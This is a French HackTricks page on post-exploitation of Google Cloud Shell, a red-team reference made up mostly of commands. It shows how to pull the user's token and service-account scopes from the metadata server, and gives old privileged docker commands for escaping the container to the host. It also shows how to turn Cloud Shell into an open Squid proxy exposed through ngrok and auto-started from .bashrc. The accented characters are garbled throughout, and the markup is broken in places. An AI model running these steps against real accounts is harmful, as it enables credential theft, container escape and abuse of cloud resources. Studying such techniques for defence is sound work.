GCP - Cloud Shell Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Cloud Shell
Pour plus dâinformations sur Cloud Shell, voir :
Obtention du token de lâutilisateur depuis le serveur de mĂ©tadonnĂ©es
En accĂ©dant simplement au serveur de mĂ©tadonnĂ©es, vous pouvez obtenir un token pour accĂ©der en tant quâutilisateur actuellement connectĂ© :
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
Auparavant, le cloud shell sâexĂ©cutait dans un conteneur avec accĂšs au docker socket de lâhĂŽte. Maintenant Google a changĂ© lâarchitecture et le conteneur cloud shell exĂ©cute une configuration âDocker in a containerâ. Ainsi, mĂȘme sâil est possible dâutiliser docker depuis le cloud shell, vous ne pourrez pas vous Ă©chapper vers lâhĂŽte en utilisant le docker socket. Notez quâauparavant le fichier
docker.sockétait situé dans/google/host/var/run/docker.sockmais maintenant il a été déplacé vers/run/docker.sock.
Docker use / Old container escape commands
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```De plus, par le passé, il était possible de trouver un token pour un service account utilisé par le cloud shell VM dans le metadata server :
Ancien service account provenant du metadata
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Avec les autorisations (scopes) suivantes : ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### L'utiliser comme proxy
Si vous voulez utiliser votre google cloud shell instance comme proxy vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
<details>
<summary>Installer Squid proxy</summary>
```bash
sudo apt install -y squid
Pour information, Squid est un serveur proxy http. Créez un fichier squid.conf avec les paramÚtres suivants :
Create squid.conf file
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```copiez le fichier squid.conf dans /etc/squid
Copier la configuration dans **/etc/squid**
```bash sudo cp squid.conf /etc/squid ```Enfin, lancez le service squid :
Démarrer le service squid
```bash sudo service squid start ```Utilisez ngrok pour rendre le proxy accessible depuis lâextĂ©rieur :
Exposer le proxy avec ngrok
```bash ./ngrok tcp 3128 ```AprĂšs exĂ©cution, copiez lâURL tcp://. Si vous souhaitez utiliser le proxy depuis un navigateur, il est conseillĂ© de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramĂštres proxy de votre navigateur (squid is a http proxy server).
Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
Ajouter à .bashrc pour un démarrage automatique
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```Les instructions ont Ă©tĂ© copiĂ©es depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key]. Consultez cette page pour dâautres idĂ©es folles permettant dâexĂ©cuter nâimporte quel type de logiciel (bases de donnĂ©es et mĂȘme Windows) dans Cloud Shell.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

